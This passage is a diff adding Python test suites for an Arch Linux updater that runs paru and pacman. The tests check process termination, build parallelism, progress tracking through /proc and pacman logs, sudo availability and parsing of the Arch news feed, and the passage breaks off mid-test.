+def test_terminate_reports_whether_the_child_actually_died():
+ """`returncode or 0` reported a child that survived SIGKILL as success.
+
+ A process stuck in D state, or on a hung mount, outlives the signal; the
+ phase was then called done and the next one started beside a live pacman
+ transaction holding the database lock.
+ """
+ import subprocess
+
+ proc = subprocess.Popen(["true"], process_group=0)
+ proc.wait()
+ assert live.terminate(proc) is True, "a dead child is gone"
+
+ # one that ignores SIGINT is escalated to SIGTERM, which it accepts
+ proc = subprocess.Popen(["sh", "-c", "trap '' INT; sleep 30"], process_group=0)
+ try:
+ assert live.terminate(proc, grace=0.3, term_grace=2.0) is True
+ finally:
+ if proc.poll() is None:
+ proc.kill()
+ proc.wait()
+
+
+def test_a_phase_that_could_not_be_stopped_is_not_reported_as_success():
+ """`returncode or 0` turned a surviving child into a successful phase.
+
+ A process that outlives SIGKILL is rare and not worth faking a kernel for,
+ so what is checked is the contract that made it possible to miss: the
+ "could not stop it" code exists and is a failure.
+ """
+ from updater import stream
+
+ assert stream.EXIT_STILL_RUNNING != 0, "a surviving child is a failure"
+ assert stream.EXIT_STILL_RUNNING == live.EXIT_STILL_RUNNING, (
+ "the two paths disagree about what it means"
+ )
+
+
+def test_a_successful_phase_still_reports_your_zero():
+ from updater import stream
+
+ obs = live.BuildObserver(build_graph({}, set()), Path("/tmp"), total=0)
+ buf = io.StringIO()
+ runner = stream.StreamingRunner(obs, stream.Emitter(buf), poll_hz=20)
+ assert runner.run(["true"], "repo", Path(tempfile.mkdtemp()) / "x.log") == 0
+
+
+def test_cores_are_divided_between_workers_not_multiplied():
+ env = live.build_env(workers=8, nproc=16)
+ assert env["MAKEFLAGS"] == "-j2", env["MAKEFLAGS"]
+ assert env["CARGO_BUILD_JOBS"] == "2"
+ assert env["NINJAFLAGS"] == "-j2"
+
+
+def test_single_worker_gets_the_whole_machine():
+ assert live.build_env(workers=1, nproc=16)["MAKEFLAGS"] == "-j16"
+
+
+def test_an_inherited_makeflags_is_overridden_not_respected():
+ """`-j15` inherited from a shell is wrong for any worker count."""
+ env = live.build_env(workers=1, nproc=16, base={"MAKEFLAGS": "-j15"})
+ assert env["MAKEFLAGS"] == "-j16"
+ # and it must never be worse than one job on a machine with cores
+ for workers in (1, 2, 3, 16, 64):
+ env = live.build_env(workers=workers, nproc=16)
+ assert int(env["MAKEFLAGS"][2:]) >= 1
+
+
+def test_parallelism_label_is_honest():
+ assert "8 workers" in live.parallelism_label(8, 16)
+ assert "2 jobs" in live.parallelism_label(8, 16)
+ assert "workers" not in live.parallelism_label(1, 16)
+
+
+# --------------------------------------------------------------------------
+# observer: feed integrity
+# --------------------------------------------------------------------------
+
+
+def graph_for(*names: str):
+ infos = {n: info(n) for n in names}
+ return build_graph(infos, set(infos))
+
+
+def test_a_package_enters_the_feed_exactly_once():
+ obs = BuildObserver(graph_for("a"), Path("/nonexistent"))
+ obs._watcher.poll = lambda pid: [] # pretend it never ran
+ obs._watcher.seen = {"a"}
+ obs._watcher.finished = ["a"]
+ first = obs.poll(None)
+ assert [e.name for e in first] == ["a"]
+ assert len(obs.feed) == 1
+ # polling again must not duplicate or re-report it
+ for _ in range(5):
+ assert obs.poll(None) == []
+ assert len(obs.feed) == 1
+ assert "a" in obs.completed
+
+
+def test_a_package_that_failed_is_not_also_reported_as_finished():
+ obs = BuildObserver(graph_for("a"), Path("/nonexistent"))
+ obs.fail("a", "check failed")
+ obs._watcher.seen = {"a"}
+ obs._watcher.finished = ["a"]
+ assert obs.poll(None) == []
+ assert [e.state for e in obs.feed] == ["fail"]
+ assert obs.failed == {"a"}
+
+
+def test_seeding_supports_resuming_a_partly_built_set():
+ obs = BuildObserver(graph_for("a", "b", "c"), Path("/nonexistent"), total=3)
+ obs.seed([FeedEntry("a", "1-1", 5.0), FeedEntry("b", "1-1", 0.0, state="fail")])
+ assert obs.completed == {"a"}
+ assert obs.failed == {"b"}
+ assert len(obs.feed) == 2
+
+
+def test_failure_blocks_dependents():
+ graph = build_graph({"top": info("top", "base"), "base": info("base")}, {"top", "base"})
+ obs = BuildObserver(graph, Path("/nonexistent"))
+ obs.fail("base")
+ assert obs.blocked == {"top"}
+
+
+def test_totals_compute_an_eta_only_once_something_has_finished():
+ obs = BuildObserver(graph_for("a", "b"), Path("/nonexistent"), total=2)
+ assert obs.totals().eta is None
+ obs.poll(None)
+ obs.feed = [FeedEntry("a", "1", 2.0)]
+ totals = obs.totals()
+ assert totals.total == 2
+ assert totals.eta is not None and totals.eta >= 0
+ assert totals.elapsed >= 0
+
+
+def test_download_rate_never_goes_negative_when_part_files_are_renamed():
+ """`.part` files vanish on completion, so the raw total can drop."""
+ with tempfile.TemporaryDirectory() as td:
+ cache = Path(td)
+ obs = BuildObserver(graph_for("a"), Path("/nonexistent"), cache_dir=cache)
+ part = cache / "pkg-1.pkg.tar.zst.part"
+
+ part.write_bytes(b"x" * 1000)
+ obs._last_dl_at -= 1.0
+ obs.poll(None)
+ assert obs.download_rate > 0
+
+ # the download completes and the file is renamed away
+ part.unlink()
+ obs._last_dl_at -= 1.0
+ obs.poll(None)
+ assert obs.download_rate >= 0, "rate went negative after a rename"
+ assert obs.download_bytes == 0
+ assert obs.download_peak == 1000, "high-water mark was lost"
+
+
+def test_durations_are_captured_while_the_process_is_alive():
+ """Once a build's processes exit there is nothing left to measure."""
+ from updater.procwatch import BuildState
+
+ obs = BuildObserver(graph_for("a"), Path("/nonexistent"))
+ obs._watcher.poll = lambda pid: [BuildState("a", "cargo", 12.5)]
+ obs._watcher.new_finishes = list
+ obs.poll(1234)
+ assert obs._durations["a"] == 12.5
+
+ # the process goes away; the duration must survive into the feed entry
+ obs._watcher.poll = lambda pid: []
+ obs._watcher.new_finishes = lambda: ["a"]
+ obs.poll(1234)
+ assert obs.feed[0].elapsed == 12.5
+
+
+def test_feed_line_is_a_single_permanent_line():
+ done = BuildObserver.feed_line(FeedEntry("pkg", "1.0-1", 41.0))
+ assert "\n" not in done and "pkg" in done and "41s" in done
+ failed = BuildObserver.feed_line(FeedEntry("pkg", "1.0-1", 3.0, state="fail"))
+ assert failed.startswith("x")
+ shared = BuildObserver.feed_line(FeedEntry("pkg", "1.0-1", 3.0, shared=True))
+ assert "shared" in shared
+
+
+# --------------------------------------------------------------------------
+# the real thing: run a child and observe it through /proc
+# --------------------------------------------------------------------------
+
+
+def test_runner_observes_a_real_child_process_end_to_end():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ (clone / "pkgA").mkdir(parents=True)
+ bindir = root / "bin"
+ bindir.mkdir()
+ # faithful to production: we spawn paru, and paru spawns a makepkg child
+ # whose working directory is the package's clone dir. The launcher itself
+ # is deliberately NOT in the clone dir, so it must not be mistaken for a
+ # build.
+ tool = fake_tool(bindir, "paru", f'( cd "{clone}/pkgA" && exec -a makepkg sleep 1.2 )')
+
+ graph = graph_for("pkgA")
+ obs = BuildObserver(graph, clone, total=1)
+ console = Console(file=io.StringIO(), force_terminal=False, width=100)
+ runner = LiveRunner(
+ obs, theme=THEME, glyphs=GLYPHS, console=console, dashboard=False, workers=1, nproc=4
+ )
+
+ result = runner.run([str(tool)], root / "logs" / "build.log")
+
+ assert result.returncode == 0
+ assert result.log_path.exists()
+ assert [e.name for e in result.feed] == ["pkgA"], result.feed
+ assert result.feed[0].elapsed > 0, "no duration captured"
+ assert "pkgA" in obs.completed
+ assert result.elapsed >= 1.0
+
+
+def test_the_launcher_itself_is_not_mistaken_for_a_build():
+ """paru runs from wherever the user invoked us; that is not a package."""
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ (clone / "pkgA").mkdir(parents=True)
+ obs = BuildObserver(graph_for("pkgA"), clone)
+ # a launcher sitting directly in the clone dir must still not be read as
+ # a build of that package
+ proc = subprocess.Popen(
+ [sys.executable, "-c", "import time; time.sleep(0.6)"],
+ cwd=clone / "pkgA",
+ start_new_session=True,
+ )
+ try:
+ time.sleep(0.2)
+ states = obs._watcher.poll(proc.pid)
+ assert states == [], f"launcher misread as a build: {states}"
+ finally:
+ proc.wait(timeout=5)
+
+
+def test_include_root_supports_driving_a_builder_directly():
+ """The future parallel scheduler spawns makepkg itself, so the root is it."""
+ from updater.procwatch import descendants, snapshot
+
+ with tempfile.TemporaryDirectory() as td:
+ clone = Path(td) / "clone"
+ (clone / "pkgA").mkdir(parents=True)
+ proc = subprocess.Popen(["sleep", "5"], cwd=clone / "pkgA", start_new_session=True)
+ try:
+ time.sleep(0.2)
+ procs = snapshot()
+ assert descendants(proc.pid, procs) == []
+ included = descendants(proc.pid, procs, include_root=True)
+ assert [p.pid for p in included] == [proc.pid]
+ finally:
+ proc.kill()
+ proc.wait(timeout=5)
+
+
+def test_final_drain_captures_a_package_still_running_when_the_launcher_exits():
+ """Otherwise a build that ends mid-package silently loses it from the feed."""
+ obs = BuildObserver(graph_for("pkgA"), Path("/nonexistent"))
+ from updater.procwatch import BuildState
+
+ obs._watcher.poll = lambda pid: [BuildState("pkgA", "cargo", 9.0)]
+ obs._watcher.new_finishes = list
+ obs.poll(4321) # seen while alive
+ assert "pkgA" not in obs.completed
+
+ obs._watcher.poll = lambda pid: [] # the whole tree is gone now
+ obs._watcher.new_finishes = lambda: ["pkgA"]
+ drained = obs.poll(None)
+ assert [e.name for e in drained] == ["pkgA"]
+ assert obs.feed[0].elapsed == 9.0
+
+
+def test_the_watcher_drains_when_the_root_pid_is_gone():
+ from updater.procwatch import Watcher
+
+ w = Watcher(Path("/nonexistent"), known={"pkgA"})
+ w.seen = {"pkgA"}
+ assert w.poll(None) == []
+ assert w.new_finishes() == ["pkgA"]
+
+
+def test_runner_logs_child_output_instead_of_surprising_the_user():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ (clone / "pkgA").mkdir(parents=True)
+ tool = fake_tool(root, "noisy", "echo 'wall of compiler text'; sleep 0.1")
+ obs = BuildObserver(graph_for("pkgA"), clone)
+ console = Console(file=io.StringIO(), force_terminal=False, width=100)
+ runner = LiveRunner(obs, theme=THEME, glyphs=GLYPHS, console=console, dashboard=False)
+ log = root / "b.log"
+ runner.run([str(tool)], log)
+ assert "wall of compiler text" in log.read_text()
+
+
+def test_runner_reports_a_failing_child_without_raising():
+ with tempfile.TemporaryDirectory() as td:
+ root = Path(td)
+ clone = root / "clone"
+ clone.mkdir()
+ tool = fake_tool(root, "boom", "exit 7")
+ obs = BuildObserver(graph_for("a"), clone)
+ console = Console(file=io.StringIO(), force_terminal=False, width=100)
+ runner = LiveRunner(obs, theme=THEME, glyphs=GLYPHS, console=console, dashboard=False)
+ result = runner.run([str(tool)], root / "b.log")
+ assert result.returncode == 7
+ assert not result.ok
+
+
+def test_flush_feed_prints_each_entry_only_once():
+ obs = BuildObserver(graph_for("a"), Path("/nonexistent"))
+ console = Console(file=io.StringIO(), force_terminal=False, width=100)
+ runner = LiveRunner(obs, theme=THEME, glyphs=GLYPHS, console=console)
+ obs.feed = [FeedEntry("a", "1", 1.0)]
+ runner._flush_feed()
+ runner._flush_feed()
+ out = console.file.getvalue()
+ assert out.count("a") == 1, f"feed line printed more than once: {out!r}"
+
+
+# --------------------------------------------------------------------------
+# key handling: the runtime toggle
+# --------------------------------------------------------------------------
+
+
+def _runner(dashboard=True):
+ obs = BuildObserver(graph_for("a"), Path("/nonexistent"))
+ console = Console(file=io.StringIO(), force_terminal=False, width=100)
+ return LiveRunner(obs, theme=THEME, glyphs=GLYPHS, console=console, dashboard=dashboard)
+
+
+def test_v_toggles_the_dashboard_both_ways():
+ runner = _runner(dashboard=True)
+ runner._handle_keys("v")
+ assert runner.dashboard is False
+ runner._handle_keys("v")
+ assert runner.dashboard is True
+ runner._handle_keys(" ")
+ assert runner.dashboard is False
+
+
+def test_q_leaves_the_dashboard_without_killing_the_build():
+ """Killing a mid-transaction build is what breaks a package database."""
+ runner = _runner(dashboard=True)
+ runner._handle_keys("q")
+ assert runner.dashboard is False
+
+
+def test_ctrl_c_raises_so_the_caller_can_unwind_politely():
+ runner = _runner()
+ try:
+ runner._handle_keys("\x03")
+ except KeyboardInterrupt:
+ pass
+ else:
+ raise AssertionError("ctrl-c did not raise")
+
+
+def test_unknown_keys_are_ignored():
+ runner = _runner(dashboard=True)
+ runner._handle_keys("xyz123")
+ assert runner.dashboard is True
+
+
+# --------------------------------------------------------------------------
+# termination: polite before forceful
+# --------------------------------------------------------------------------
+
+
+def test_terminate_escalates_only_as_far_as_needed():
+ with tempfile.TemporaryDirectory() as td:
+ # a child that handles SIGINT and exits cleanly
+ nice = fake_tool(Path(td), "nice", "trap 'exit 0' INT TERM; sleep 30")
+ proc = subprocess.Popen([str(nice)], start_new_session=True)
+ time.sleep(0.3)
+ live.terminate(proc, grace=1.0)
+ assert proc.poll() is not None, "polite child was not reaped"
+
+
+def test_terminate_kills_a_child_that_ignores_everything():
+ with tempfile.TemporaryDirectory() as td:
+ stubborn = fake_tool(
+ Path(td), "stubborn", "trap '' INT TERM; while true; do sleep 0.2; done"
+ )
+ proc = subprocess.Popen([str(stubborn)], start_new_session=True)
+ time.sleep(0.4)
+ live.terminate(proc, grace=0.3, term_grace=0.3)
+ assert proc.poll() is not None, "stubborn child survived"
+
+
+def test_terminate_on_an_already_dead_child_is_a_no_op():
+ proc = subprocess.Popen(["true"], start_new_session=True)
+ proc.wait(timeout=5)
+ live.terminate(proc) # must not raise
+ assert proc.poll() == 0
+
+
+def test_terminate_does_not_signal_an_unrelated_process_group():
+ """It must target the child's group, never our own."""
+ mine = os.getpgrp()
+ proc = subprocess.Popen(["sleep", "30"], start_new_session=True)
+ time.sleep(0.2)
+ live.terminate(proc, grace=1.0)
+ assert os.getpgrp() == mine
+ assert proc.poll() is not None
+
+
+def test_a_phase_keeps_its_controlling_terminal():
+ """sudo keys its credential cache to the terminal.
+
+ `start_new_session=True` called setsid(), which detaches the child from the
+ controlling terminal. sudo then falls back to parent-PID keying, and the
+ parent is the backend rather than the shell the user authenticated in -- so
+ every privileged phase failed with "a terminal is required to read the
+ password".
+ """
+ import io
+
+ kwargs = live.spawn_kwargs({"PATH": "/usr/bin"}, io.BytesIO())
+ assert "start_new_session" not in kwargs, kwargs
+ assert kwargs["process_group"] == 0, kwargs
+
+
+def test_a_phase_still_cannot_read_the_keyboard():
+ """The new process group is what keeps Ctrl+C off pacman; stdin stays shut
+ so a build cannot eat keystrokes meant for the interface."""
+ import io
+
+ kwargs = live.spawn_kwargs({}, io.BytesIO())
+ assert kwargs["stdin"] == subprocess.DEVNULL
+ assert kwargs["stderr"] == subprocess.STDOUT
+ assert kwargs["process_group"] == 0
+
+
+def test_can_sudo_reports_a_prompt_as_unavailable():
+ """It must ask "would sudo succeed silently", not "is sudo installed"."""
+ from updater import live as live_mod
+
+ calls = {}
+
+ class Done:
+ returncode = 1
+
+ def fake_run(argv, **kwargs):
+ calls["argv"] = argv
+ return Done()
+
+ original = live_mod.subprocess.run
+ live_mod.subprocess.run = fake_run
+ try:
+ assert live_mod.can_sudo() is False
+ finally:
+ live_mod.subprocess.run = original
+ assert "-n" in calls["argv"], calls["argv"]
+
+
+def test_can_sudo_is_false_when_sudo_is_missing():
+ from updater import live as live_mod
+
+ def boom(argv, **kwargs):
+ raise FileNotFoundError("sudo")
+
+ original = live_mod.subprocess.run
+ live_mod.subprocess.run = boom
+ try:
+ assert live_mod.can_sudo() is False
+ finally:
+ live_mod.subprocess.run = original
+
+
+def test_a_phase_is_its_own_process_group_leader():
+ """The abort path signals the child's process group.
+
+ It uses killpg(getpgid(pid)), which only reaches the child and everything it
+ spawned if the child leads its own group. Moving off setsid must not have
+ cost that, or an abort would leave makepkg running.
+ """
+ import os as _os
+ import subprocess as _subprocess
+ import time
+
+ with open(_os.devnull, "wb") as log:
+ proc = _subprocess.Popen(["sleep", "30"], **live.spawn_kwargs(dict(_os.environ), log))
+ try:
+ time.sleep(0.2)
+ assert _os.getpgid(proc.pid) == proc.pid, "not a group leader"
+ assert _os.getsid(proc.pid) == _os.getsid(0), "left the session"
+ finally:
+ with contextlib.suppress(ProcessLookupError):
+ _os.killpg(_os.getpgid(proc.pid), signal.SIGTERM)
+ proc.wait(timeout=5)
+ assert proc.returncode != 0, "the group was not signalled"
+
+
+# --------------------------------------------------------------------------
+# progress for a pacman transaction
+# --------------------------------------------------------------------------
+
+PACMAN_OUT = """\
+:: Starting full system upgrade...
+Packages (3) git-2.56.0-1 firefox-157.0-1 zed-1.22.0-1
+
+Total Download Size: 474.12 MiB
+:: Retrieving packages...
+ firefox-157.0-1-x86_64 downloading...
+ zed-1.22.0-1-x86_64 downloading...
+ git-2.56.0-1-x86_64 downloading...
+:: Processing package changes...
+upgrading firefox...
+upgrading git...
+upgrading zed...
+:: Running post-transaction hooks...
+(1/2) Updating the desktop file MIME type cache...
+(2/2) Performing snapper post snapshots...
+"""
+
+
+def _replay(text, names=("git", "firefox", "zed")):
+ """Feed the log a growing file at a time, never the whole thing at once."""
+ import tempfile
+
+ from updater import live
+
+ directory = Path(tempfile.mkdtemp())
+ log = directory / "pacman.log"
+ log.write_bytes(b"")
+ observer = live.RepoObserver(list(names), log_path=log, cache_dir=directory / "cache")
+ data = text.encode()
+ for i in range(0, len(data), 40):
+ log.write_bytes(data[: i + 40])
+ observer.poll()
+ return observer
+
+
+def test_pacman_progress_parses_the_expected_download_size():
+ """pacman is one process, so /proc has nothing to attribute.
+
+ Without this the repository phase -- the long, network-bound half of an
+ update -- rendered an empty dashboard while hundreds of megabytes moved.
+ """
+ assert _replay(PACMAN_OUT).expected_bytes == int(474.12 * 2**20)
+
+
+def test_every_pacman_package_reaches_the_feed():
+ observer = _replay(PACMAN_OUT)
+ assert set(observer.completed) == {"git", "firefox", "zed"}, observer.completed
+ assert len(observer.feed) == 3
+
+
+def test_pacman_packages_are_reported_in_the_order_they_finish():
+ observer = _replay(PACMAN_OUT)
+ # the download order this sample came from, which is what pacman reports
+ assert [e.name for e in observer.feed] == ["firefox", "zed", "git"], [
+ e.name for e in observer.feed
+ ]
+
+
+def test_a_package_outside_the_plan_is_ignored():
+ """pacman may touch things the plan did not name."""
+ observer = _replay(PACMAN_OUT.replace("upgrading git...", "upgrading elsewhere..."))
+ assert "elsewhere" not in observer.completed
+
+
+def test_pacman_hooks_are_shown_with_their_progress():
+ observer = _replay(PACMAN_OUT)
+ assert observer.phase == "hooks"
+ assert any("hook 2/2" in name for name in observer.states), observer.states
+
+
+def test_a_half_written_log_line_is_left_alone():
+ """The log is being written while it is read."""
+ import tempfile
+
+ from updater import live
+
+ directory = Path(tempfile.mkdtemp())
+ log = directory / "pacman.log"
+ log.write_bytes(b"upgrading fi") # no newline, no trailing dots
+ observer = live.RepoObserver(["firefox"], log_path=log, cache_dir=directory)
+ observer.poll()
+ assert observer.completed == set(), observer.completed
+
+
+def test_a_missing_pacman_log_is_not_an_error():
+ import tempfile
+
+ from updater import live
+
+ directory = Path(tempfile.mkdtemp())
+ observer = live.RepoObserver(["git"], log_path=directory / "nope.log", cache_dir=directory)
+ assert observer.poll() == []
+
+
+def test_an_unreadable_cache_directory_is_not_an_error():
+ import tempfile
+
+ from updater import live
+
+ directory = Path(tempfile.mkdtemp())
+ observer = live.RepoObserver(
+ ["git"], log_path=directory / "x.log", cache_dir=directory / "missing"
+ )
+ assert observer._cache_bytes() == 0
+
+
+def test_sizes_accept_the_short_and_long_unit_spellings():
+ from updater.live import _to_bytes
+
+ assert _to_bytes("1", "MiB") == _to_bytes("1", "M") == 2**20
+ assert _to_bytes("1", "GiB") == 2**30
+ assert _to_bytes("nonsense", "MiB") == 0
+ assert _to_bytes("5", "??") == 5
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_news.py b/tests/test_news.py
@@ -0,0 +1,227 @@
+"""Arch news.
+
+Upstream uses the news feed to announce upgrades that will not complete on their
+own, so a tool that applies updates for you should not let those pass unnoticed.
+The feed is RSS 2.0 and parsed with the standard library; the interesting parts
+are the judgement calls, not the parsing.
+"""
+
+from __future__ import annotations
+
+import sys
+import tempfile
+import time
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import news # noqa: E402
+
+FEED = """<?xml version="1.0" encoding="utf-8"?>
+<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
+<channel>
+ <title>Arch Linux: Recent news updates</title>
+ <item>
+ <title>Mkinitcpio requires manual intervention for LUKS</title>
+ <link>https://archlinux.org/news/mkinitcpio/</link>
+ <description><p>You must run <code>mkinitcpio -P</code> before rebooting.</p></description>
+ <dc:creator>David Runge</dc:creator>
+ <pubDate>Tue, 22 Sep 2026 09:09:27 +0000</pubDate>
+ <guid>tag:archlinux.org,2026-09-22:/news/mkinitcpio/</guid>
+ </item>
+ <item>
+ <title>A routine package note</title>
+ <link>https://archlinux.org/news/routine/</link>
+ <description><p>Nothing to do here.</p></description>
+ <dc:creator>Someone</dc:creator>
+ <pubDate>Mon, 01 Sep 2026 09:00:00 +0000</pubDate>
+ <guid>tag:archlinux.org,2026-09-01:/news/routine/</guid>
+ </item>
+ <item>
+ <title>Missing date</title>
+ <link>https://archlinux.org/news/undated/</link>
+ <description>no date at all</description>
+ <guid>x</guid>
+ </item>
+</channel>
+</rss>
+"""
+
+
+def parsed():
+ return news._parse(FEED)
+
+
+# --------------------------------------------------------------------------
+# parsing
+# --------------------------------------------------------------------------
+
+
+def test_parses_titles_links_dates_and_authors():
+ items = parsed()
+ assert len(items) == 3, items
+ newest = items[0]
+ assert newest.title.startswith("Mkinitcpio")
+ assert newest.link.endswith("/news/mkinitcpio/")
+ assert newest.author == "David Runge", newest.author
+ # the namespaced <dc:creator> must be found whichever prefix it uses
+ assert newest.published > 0
+
+
+def test_html_is_stripped_from_the_summary():
+ """The description is markup; printing it raw would be a wall of tags."""
+ item = parsed()[0]
+ assert "<" not in item.summary and ">" not in item.summary
+ assert "mkinitcpio -P" in item.summary
+
+
+def test_items_are_newest_first():
+ stamps = [i.published for i in parsed()]
+ assert stamps == sorted(stamps, reverse=True), stamps
+
+
+def test_an_item_without_a_date_is_kept_not_dropped():
+ """Losing an item is worse than showing one with an odd timestamp.
+
+ A stamp of zero is never greater than a positive cutoff, so an undated item
+ was invisible in `recent()` for good -- an Arch news item nobody would ever
+ see. It inherits the feed's newest stamp instead.
+ """
+ items = parsed()
+ undated = [i for i in items if i.title == "Missing date"]
+ assert len(undated) == 1
+ assert undated[0].published > 0
+
+ # and it survives the filter that used to hide it
+ shown = news.recent(items, since=1.0)
+ assert "Missing date" in [i.title for i in shown]
+
+
+def test_a_broken_feed_is_not_an_exception():
+ for bad in ("", "not xml at all", "<rss><channel>", "<html><body>x</body></html>"):
+ assert news._parse(bad) == [], bad
+
+
+def test_an_item_without_a_title_is_skipped():
+ feed = (
+ "<rss><channel><item><link>x</link></item><item><title>real</title></item></channel></rss>"
+ )
+ got = news._parse(feed)
+ assert [i.title for i in got] == ["real"]
+
+
+# --------------------------------------------------------------------------
+# what needs a human
+# --------------------------------------------------------------------------
+
+
+def test_manual_intervention_is_recognised():
+ item = parsed()[0]
+ assert item.needs_action, item.title
+
+
+def test_a_routine_item_is_not_flagged():
+ routine = next(i for i in parsed() if i.title == "A routine package note")
+ assert not routine.needs_action
+
+
+def test_the_phrases_that_signal_required_action():
+ for phrase in (
+ "requires manual intervention",
+ "manual action needed",
+ "before upgrading, do this",
+ "you will need to reboot",
+ ):
+ item = news.NewsItem(title=phrase, link="", published=time.time())
+ assert item.needs_action, phrase
+
+
+# --------------------------------------------------------------------------
+# recency
+# --------------------------------------------------------------------------
+
+
+def test_recent_uses_the_recorded_timestamp():
+ now = time.time()
+ items = [
+ news.NewsItem("new", "", now - 60),
+ news.NewsItem("old", "", now - 100000),
+ ]
+ assert [i.title for i in news.recent(items, since=now - 3600)] == ["new"]
+
+
+def test_recent_falls_back_to_a_window_when_nothing_is_recorded():
+ now = time.time()
+ items = [
+ news.NewsItem("fresh", "", now - 3600),
+ news.NewsItem("ancient", "", now - 400 * 24 * 3600),
+ ]
+ got = news.recent(items, since=0.0)
+ assert [i.title for i in got] == ["fresh"]
+
+
+# --------------------------------------------------------------------------
+# presentation
+# --------------------------------------------------------------------------
+
+
+def test_the_summary_says_how_many_need_a_decision():
+ items = parsed()
+ line = news.summary_line(items)
+ assert "needing a decision" in line, line
+ assert news.summary_line([]) == "nothing new"
+
+
+def test_the_explanation_leads_with_what_needs_action():
+ items = parsed()
+ text = "\n".join(news.explain(items))
+ assert "READ BEFORE UPDATING" in text, text
+ assert "ALSO RECENT" in text, text
+ # the item that needs a decision comes before the routine one
+ assert text.index("Mkinitcpio") < text.index("A routine package note"), text
+ assert "archlinux.org" in text, "the link should be there to follow"
+
+
+def test_explaining_nothing_is_reassuring_not_empty():
+ lines = news.explain([])
+ assert lines and "nothing new" in lines[0]
+
+
+# --------------------------------------------------------------------------
+# the real feed, when it is reachable
+# --------------------------------------------------------------------------
+
+
+def test_fetching_the_real_feed_never_raises():
+ with tempfile.TemporaryDirectory() as td:
+ import os
+
+ os.environ["XDG_CACHE_HOME"] = td
+ items, error = news.fetch_news(timeout=15)
+ assert isinstance(items, list)
+ if error:
+ assert isinstance(error, str) and error
+ else:
+ assert items, "no error but no items either"
+ for item in items:
+ assert item.title
+ assert item.link.startswith("https://")
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_procwatch.py b/tests/test_procwatch.py
@@ -0,0 +1,335 @@
+"""Reading build state out of /proc.
+
+The observation layer replaces parsing paru's human output, which is brittle by
+construction. That trade only pays if this side is right, and it is subtle:
+`/proc/<pid>/stat` packs the command name inside parentheses *inside* a
+space-separated field list, and the command name may itself contain spaces and
+parentheses. Get it wrong and every field shifts, so the start time becomes
+something else and a per-package timer reports nonsense.
+
+These tests spawn real processes. Reading a real kernel is the only way to test
+a /proc parser.
+"""
+
+from __future__ import annotations
+
+import os
+import subprocess
+import sys
+import time
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import procwatch as pw # noqa: E402
+
+
+def spawn_with_comm(comm: str) -> subprocess.Popen:
+ """A live process whose kernel command name is exactly `comm`.
+
+ The trailing `sleep &` matters: a bare command at the end of `bash -c` is
+ exec'd and replaces the shell, so the name we set would be thrown away.
+ """
+ return subprocess.Popen(
+ ["bash", "-c", f'printf "%s" {comm!r} > /proc/self/comm; sleep 30 & wait']
+ )
+
+
+def kernel_comm(pid: int) -> str:
+ raw = Path(f"/proc/{pid}/stat").read_text()
+ return raw[raw.find("(") + 1 : raw.rfind(")")]
+
+
+# --------------------------------------------------------------------------
+# parsing /proc/<pid>/stat
+# --------------------------------------------------------------------------
+
+
+def test_the_command_name_may_contain_parentheses():
+ """The reason the parser reads from the last `)`: the name is inside a field
+ list, and can itself contain the delimiter."""
+ for comm in ("ends)", ")", "a)b)c", "((", "))((", "weird (name)"):
+ proc = spawn_with_comm(comm)
+ try:
+ time.sleep(0.25)
+ got = pw.snapshot().get(proc.pid)
+ assert got is not None, f"{comm!r}: process was not readable"
+ assert got.comm == kernel_comm(proc.pid), (comm, got.comm)
+ finally:
+ proc.kill()
+ proc.wait()
+
+
+def test_the_fields_after_the_name_still_line_up():
+ """A name full of parens must not shift ppid or the start time."""
+ proc = spawn_with_comm("))((")
+ try:
+ time.sleep(0.4)
+ got = pw.snapshot()[proc.pid]
+ raw = Path(f"/proc/{proc.pid}/stat").read_text()
+ fields = raw[raw.rfind(")") + 2 :].split()
+ assert fields[0] in "RSDZTtWXxKWP", "field 0 should be the state letter"
+ assert got.ppid == int(fields[1])
+ uptime = float(Path("/proc/uptime").read_text().split()[0])
+ age = uptime - (got.started - pw.boot_time())
+ assert 0 <= age < 5, f"start time is off by {age:.1f}s"
+ finally:
+ proc.kill()
+ proc.wait()
+
+
+def test_a_dead_or_missing_process_is_not_an_error():
+ """Processes die while being read; that is the normal case, not a failure."""
+ proc = subprocess.Popen(["true"])
+ proc.wait()
+ btime, clk = pw.boot_time(), pw._clk_tck()
+ for pid in (proc.pid, 0, 999999):
+ assert pw.read_proc(pid, btime, clk) is None
+
+
+def test_a_snapshot_survives_processes_dying_underneath_it():
+ spawn = [subprocess.Popen(["true"]) for _ in range(40)]
+ snap = pw.snapshot()
+ assert os.getpid() in snap, "the reading process should always be present"
+ for proc in spawn:
+ proc.wait()
+
+
+def test_started_time_agrees_with_ps():
+ import datetime
+
+ proc = subprocess.Popen(["sleep", "30"])
+ try:
+ time.sleep(0.3)
+ got = pw.snapshot()[proc.pid]
+ out = subprocess.run(
+ ["ps", "-o", "lstart=", "-p", str(proc.pid)],
+ capture_output=True,
+ text=True,
+ check=False,
+ ).stdout.strip()
+ if out:
+ when = datetime.datetime.strptime(out, "%a %b %d %H:%M:%S %Y")
+ assert abs(got.started - when.timestamp()) < 2
